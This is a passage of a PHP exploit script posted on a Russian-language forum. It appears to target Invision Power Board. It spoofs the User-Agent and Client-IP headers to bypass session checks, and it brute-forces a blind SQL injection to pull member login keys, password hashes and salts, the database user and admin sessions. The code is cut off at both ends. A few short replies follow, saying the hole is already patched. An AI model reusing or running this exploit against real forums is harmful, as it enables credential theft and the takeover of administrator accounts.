  	$this->msg('Can\'t get the default language id', -1);
  	exit(1);
  }
  
  return;
	}
	
	function is_logged()
	{
  $this->bypass_matches();

  # User session ok ?
  if( !$this->s_admin )
  {
  	$match = 'act=Login&amp;CODE=03';
  	$this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
  	$this->web->get($this->p_url);
  }
  
  # Admin session ok ?
  else
  {
  	$match = '&section=';
  	$this->web->get($this->a_url);
  }
  
  if( preg_match("/$match/i", $this->web->getcontent()) )
  return true;
  
  else 
  return false;  
	}
	
	function bypass_matches()
	{
  # match_browser
  $this->web->agent($this->s_agent);
  
  # match_ipaddress
  $this->web->addheader('Client-IP', $this->s_ip);
  
  return;
	}
	
	function get_cprefix()
	{
  $this->msg('Trying to get the cookie prefix', 0);
    
  # Set-Cookie: session_id=...; path=/
  $this->web->get($this->p_url);
  
  $this->s_cprefix = '';
  
  if( $this->web->cookie )
  {
  	foreach( $this->web->cookie as $name => $value)
  	{
    if( preg_match($this->reg_cpre, $name, $cmatches) )
    {
    	$this->s_cprefix = $cmatches[1];
    	break;
    }
  	}
  }
  
  if( !$this->s_cprefix )
  $this->msg('No cookie prefix set', 1);
  
  else 
  $this->msg('Using cookie prefix '.$this->s_cprefix, 1);
  
  return;
	}
	
	function get_sec_options()
	{
  # If no value, take the default one
  $this->get_conf('t.conf_value');
  $this->get_conf('t.conf_default');
  
  return;
	}
	
	function get_conf($field)
	{
  $this->init_sql();
  
  $this->t_table = 'conf_settings';	
  $this->t_field = $field;
  $this->t_char  = $this->chr_num;
  
  $this->t_add_0 = "AND t.conf_key='match_browser'";

  if( $this->conf['browser'] === '' )
  $this->conf['browser'] = $this->bf_inj();

  $this->t_add_0 = "AND t.conf_key='match_ipaddress'";
  
  if( $this->conf['ip'] === '' )
  $this->conf['ip'] = $this->bf_inj();
  
  $this->t_add_0 = "AND t.conf_key='xforward_matching'";
  
  if( $this->conf['xforward'] === '' )
  $this->conf['xforward'] = $this->bf_inj();

  return;
	}
	
	function get_login_key()
	{
  $this->init_sql();
  
  $this->t_key             = 'login_key';
  $this->t_table           = 'members';
  $this->t_field           = 't.member_login_key';
  $this->t_join            = 't.id=m.id';
  $this->t_char            = $this->chr_md5;
  $this->data['login_key'] = $this->bf_inj();
  
  return $this->key_val;
	}
	
	function get_sql_user()
	{
  $this->init_sql();
  
  $this->t_key             = 'user()';
  $this->t_table           = 'members';
  $this->t_field           = 'user()';
  $this->t_char            = $this->chr_all;
  $this->t_end             = '@';
  $this->data['sql_user']  = $this->bf_inj();
  
  return $this->key_val;
	}
	
	function get_pass_hash()
	{
  $this->init_sql();
  
  $this->t_key             = 'pass_hash';
  $this->t_table           = 'members_converge';
  $this->t_field           = 't.converge_pass_hash';
  $this->t_join            = 't.converge_email=m.email';
  $this->t_char            = $this->chr_md5;
  $this->data['pass_hash'] = $this->bf_inj();
  
  return $this->key_val;
	}
	
	function get_pass_salt()
	{	
  $this->init_sql();
  
  $this->t_key             = 'pass_salt';
  $this->t_table           = 'members_converge';
  $this->t_field           = 't.converge_pass_salt';
  $this->t_join            = 't.converge_email=m.email';
  $this->t_char            = $this->chr_all;
  $this->data['pass_salt'] = $this->bf_inj();
  
  return $this->key_val;
	}
	
	function get_admin_sess()
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Уж заделали SQL дыру... щас тока ленивый ее не исправит...
Ну ты бы ещё с прошлого года нашёл бы баг и потестил, а вдруг работает... когда находят эти дыры в 99% случаев отсылают репорт о ней разработчикам.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх